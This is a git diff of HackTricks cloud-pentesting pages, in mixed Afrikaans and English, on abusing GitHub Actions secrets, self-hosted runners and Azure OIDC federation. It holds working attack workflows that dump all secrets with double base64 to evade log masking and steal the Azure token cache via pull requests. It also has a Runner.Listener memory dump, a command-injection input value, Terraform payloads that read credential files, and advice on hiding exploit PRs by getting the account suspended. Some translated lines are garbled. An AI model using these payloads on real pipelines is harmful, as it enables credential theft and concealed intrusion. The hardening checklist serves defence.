nuttig om te weet hoe jy toegang tot secrets kan kry: -- As die geheim of token op 'n **omgewingsveranderlike** gestel is, kan dit direk via die omgewing met **`printenv`** verkry word. +- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing geraadpleeg word met **`printenv`**.
-Lys geheime in Github Action-uitset +Lys secrets in die Github Action-uitset ```yaml name: list_env on: @@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Kry reverse shell met secrets +Kry reverse shell with secrets ```yaml name: revshell on: @@ -526,15 +530,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- As die secret gebruik word **direk in 'n uitdrukking**, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik. +- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - ```bash cat /home/runner/work/_temp/* ``` -- Vir JavaScript actions word die secrets deur environment variables gestuur +- For a JavaScript actions the secrets and sent through environment variables - ```bash ps axe | grep node ``` -- Vir 'n **custom action**, kan die risiko wissel afhangend van hoe 'n program die secret gebruik wat dit vanaf die **argument** bekom het: +- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Som alle secrets op via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik dubbele base64 om GitHub’s log masking te omseil en decodeer plaaslik: +- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally: ```yaml name: Steal secrets @@ -558,31 +562,31 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Dekodeer plaaslik: +Decode locally: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Wenk: vir stealth tydens toetsing, enkripteer voor druk (openssl is preinstalled on GitHub-hosted runners). +Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). ### Misbruik van Self-hosted runners -Die manier om te vind watter **Github Actions in non-github infrastructure uitgevoer word** is om te soek na **`runs-on: self-hosted`** in die Github Action configuration yaml. +Die manier om te vind watter **Github Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die Github Action-konfigurasie yaml. -**Self-hosted** runners mag toegang hê tot **ekstra sensitiewe inligting**, tot ander **netwerkstelsels** (kwesbare endpunte in die netwerk? metadata service?) of, selfs as dit geïsoleer en vernietig word, **kan meer as een action terselfdertyd uitgevoer word** en die kwaadwillige een kan die **secrets** van die ander steel. +**Self-hosted** runners mag toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs as dit geïsoleer en vernietig word, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander. -In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump: +In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat alle geheime van die workflows by enige stap sal bevat deur sy geheue te dump: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Kyk na [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Github Docker Images Registry +### Github Docker Beelde-register -Dit is moontlik om Github actions te maak wat **'n Docker image binne Github bou en stoor**.\ -'n Voorbeeld kan in die volgende inklapbare gedeelte gevind word: +Dit is moontlik om Github actions te skep wat **'n Docker image binne Github bou en stoor**.\ +'n Voorbeeld kan gevind word in die volgende uitklapbare:
@@ -617,31 +621,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Soos jy in die vorige kode kon sien, word die Github-register gehuisves op **`ghcr.io`**. +Soos jy in die vorige kode kon sien, is die Github registry gehost op **`ghcr.io`**. -'n Gebruiker met leesregte op die repo sal dan die Docker Image kan aflaai met behulp van 'n personal access token: +'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Dan kan die gebruiker soek na **leaked secrets in die Docker image layers:** +Dan kan die gebruiker soek na **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Sensitiewe inligting in Github Actions logs +### Gevoelige inligting in Github Actions logs -Selfs al probeer **Github** geheime waardes in die Github Actions logs opspoor en dit nie wys nie, sal **ander sensitiewe data** wat tydens die uitvoering van die action gegenereer is nie weggesteek word nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie weggesteek word nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is. +Selfs al probeer **Github** **geheime waardes opspoor** in die actions logs en **dit nie wys nie**, sal **ander sensitiewe data** wat tydens die uitvoering van die action gegenereer is nie versteek word nie. Byvoorbeeld sal 'n JWT wat met 'n geheime waarde onderteken is, nie versteek word nie, tensy dit [spesifiek geconfigureer is](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Jou spore verberg -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word is duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. In GitHub kan ons standaard nie 'n PR van die internet verwyder nie, maar daar is 'n kink in die kabel. Vir Github-rekeninge wat deur Github **geskort** is, word al hul **PRs outomaties uitgevee** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended or get your account flagged**. Dit sou **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder). +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat opgestel word duidelik sigbaar vir die publiek op Github en vir die geteikende GitHub-rekening. In GitHub, standaard kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskort** is, word al hul **PRs outomaties uitgevee** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended kry of jou rekening laat flagged word**. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PR verwyder). -'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is om “some stuff” in 'n Issue te deel en hulle sal seker maak jou rekening binne 12 uur geskors is :p en daar het jy dit — jou exploit onsigbaar op github gemaak. +'n Organisasie op GitHub is baie proaktief daarin om rekeninge by GitHub aan te meld. Alles wat jy hoef te doen is om “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op github gemaak. > [!WARNING] -> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM na te gaan aangesien die PR vanaf die GitHub UI verwyder sou wees. +> Die enigste manier vir 'n organisasie om te agterkom dat hulle geteiken is, is om GitHub-logs in SIEM na te gaan aangesien die PR vanaf die GitHub UI verwyder sal word. ## Verwysings diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..4a69006af --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Oorsig + +GitHub Actions kan 'federate' na Azure Entra ID (voorheen Azure AD) met OpenID Connect (OIDC). 'n GitHub workflow vra 'n kortstondige GitHub ID-token (JWT) aan wat besonderhede oor die run enkodeer. Azure valideer hierdie token teen 'n Federated Identity Credential (FIC) op 'n App Registration (service principal) en ruil dit in vir Azure-toegangstokens (MSAL cache, bearer tokens vir Azure APIs). + +Azure valideer ten minste: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (wanneer dit vir Azure-tokens omgeruil word) +- sub: moet ooreenstem met die geconfigureerde FIC Subject identifier + +> Die standaard GitHub aud mag 'n GitHub URL wees. Wanneer jy met Azure ruil, stel uitdruklik audience=api://AzureADTokenExchange. + +## GitHub ID token vinnige PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Om Azure audience op token request af te dwing: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure opstelling (Workload Identity Federation) + +1) Skep App Registration (service principal) en verleen die minste nodige regte (bv. Storage Blob Data Contributor op 'n spesifieke storage account). + +2) Voeg Federated identity credentials toe: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: noukeurig beperk tot die beoogde workflow/run-konteks (sien Scoping and risks hieronder). + +3) Gebruik azure/login om die GitHub ID-token te ruil en by die Azure CLI aan te meld: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Handmatige uitruilvoorbeeld (Graph-omvang getoon; ARM of ander hulpbronne soortgelyk): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) anatomie en aanpassing + +Standaard sub-formaat: repo:/: + +Kontekswaardes sluit in: +- environment: +- pull_request (PR word geaktiveer wanneer dit nie in 'n omgewing is nie) +- ref:refs/(heads|tags)/ + +Nuttige claims wat dikwels in die payload voorkom: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Pas sub-samestelling aan via die GitHub API om addisionele claims in te sluit en botsingsrisiko te verminder: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Nota: Dubbelpunte in omgewingname is URL‑gekodeer (%3A), wat ouer delimiter‑inspuitingstegnieke teen sub‑parsing uitskakel. Dit is egter steeds onveilig om nie‑unikale subjekte te gebruik (bv. net environment:). + +## Omvang en risiko's van FIC-subjektipe + +- Tak/Tag: sub=repo:/:ref:refs/heads/ of ref:refs/tags/ +- Risiko: As die tak/tag onbeskerm is, kan enige bydraer push en tokens verkry. +- Omgewing: sub=repo:/:environment: +- Risiko: Onbeskermde omgewings (geen beoordelaars) laat bydraers toe om tokens te mint. +- Pull request: sub=repo:/:pull_request +- Hoogste risiko: Enige samewerker kan 'n PR oopmaak en die FIC bevredig. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Gerelateerde lêerliggings en notas: +- Linux/macOS: ~/.azure/msal_token_cache.json hou MSAL-tokens vir az CLI-sessies +- Windows: msal_token_cache.bin onder gebruikersprofiel; DPAPI‑protected + +## Herbruikbare workflows en job_workflow_ref-omvang + +Om 'n herbruikbare workflow aan te roep voeg job_workflow_ref by die GitHub ID-token, bv.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +FIC-voorbeeld om beide die caller repo en die reusable workflow te koppel: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Konfigureer claims in die caller repo sodat beide repo en job_workflow_ref in sub teenwoordig is: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Waarskuwing: As jy slegs job_workflow_ref in die FIC bind, kan 'n aanvaller 'n ander repo in dieselfde org skep, dieselfde herbruikbare workflow op dieselfde ref uitvoer, die FIC bevredig, en tokens mint. Sluit altyd ook die caller repo in. + +## Code-uitvoeringsvektore wat job_workflow_ref-beskermings omseil + +Selfs met 'n korrek afgebakende job_workflow_ref, kan enige caller‑controlled data wat die shell sonder veilige aanhaling bereik, lei tot code-uitvoering binne die beskermde workflow‑konteks. + +Voorbeeld van 'n kwesbare herbruikbare stap (interpolasie sonder aanhalingstekens): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Kwaadaardige caller input om commands uit te voer en die Azure token cache te exfiltreer: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan as an execution primitive in PRs + +Behandel Terraform plan as kode-uitvoering. Tydens die plan kan Terraform: +- Lees enige lêers via funksies soos file() +- Voer opdragte uit via die external data source + +Voorbeeld om die Azure token cache tydens die plan te exfiltrate: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Of gebruik external om arbitrêre opdragte uit te voer: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## Uithardingskontrolelys + +- Gebruik nooit sub=...:pull_request vir sensitiewe FICs nie +- Beskerm enige branch/tag/environment wat deur FICs verwys word (branch protection, environment reviewers) +- Verkies FICs wat afgebaken is tot beide repo en job_workflow_ref vir herbruikbare workflows +- Pas GitHub OIDC sub aan om unieke claims in te sluit (bv., repo, job_workflow_ref, repository_owner) +- Elimineer interpolasie van caller inputs wat nie in aanhalingstekens staan nie in run steps; enkodeer/kwoteer veilig +- Behandel terraform plan as kode-uitvoering; beperk of isoleer identiteite in PR-kontekste +- Dwing minste voorreg af op App Registrations; skei identiteite vir plan vs apply +- Pin actions en herbruikbare workflows na commit SHA's (vermy branch/tag pins) + +## Handmatige toetswenke + +- Vra 'n GitHub ID token in‑workflow aan en druk dit base64 om masking te vermy +- Dekodeer JWT om claims te inspekteer: iss, aud, sub, job_workflow_ref, repository, ref +- Ruil die ID token handmatig by login.microsoftonline.com uit om FIC-matching en scopes te bevestig +- Na azure/login, lees ~/.azure/msal_token_cache.json om teenwoordigheid van tokenmateriaal te verifieer + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}